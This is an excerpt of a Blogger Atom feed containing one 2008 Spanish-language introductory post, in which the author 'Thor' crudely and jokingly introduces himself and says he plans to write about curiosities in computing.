width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-1622318181585966818</id><published>2008-09-28T22:59:00.000+02:00</published><updated>2008-10-02T00:14:59.268+02:00</updated><title type='text'>Mas basura para el ciberespacio</title><content type='html'>&lt;div style="text-align: justify;"&gt;Pues si, otro asqueroso blog donde un gilipollas cuenta su vida creyendo que le importa a alguien.

En realidad trataré de contar cosas curiosas que voy encontrando relacionadas con la informática, que si el ratón sirve para mover la flecha de la pantalla...cosas así. Eso no quita que al final se convierta en lo primero y sea un puto asco. Se siente!

Bueno bueno, el caso es que inicialmente quería hacerme una página a mi gusto y semejanza ¿?, pero como hoy en día para comprarte un alojamiento/dominio te piden tarjeta de credito, dni, huellas dactilares y toda la polla, desistí y me vine a estos asquerosos blogs.

# whoami
Humano, 22 vueltas a dado la tierra al sol y sigo vivo, uso el nick (si, esa cosa que se emplea para ocultar tu nombre y que no te peguen por la calle) Thor, me gusta la informática (mas me gustan las mujeres y el alcohol), odio las redes sociales, los emos...en realidad odio demasiadas cosas mejor no enumerarlas.
Si quieres conocerme mas &lt;span style="font-weight: bold;"&gt;a fondo&lt;/span&gt; 50€ cobro por un completo.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-1622318181585966818?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1622318181585966818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1622318181585966818'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/09/mas-basura-para-el-ciberespacio.html' title='Mas basura para el ciberespacio'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry></feed>
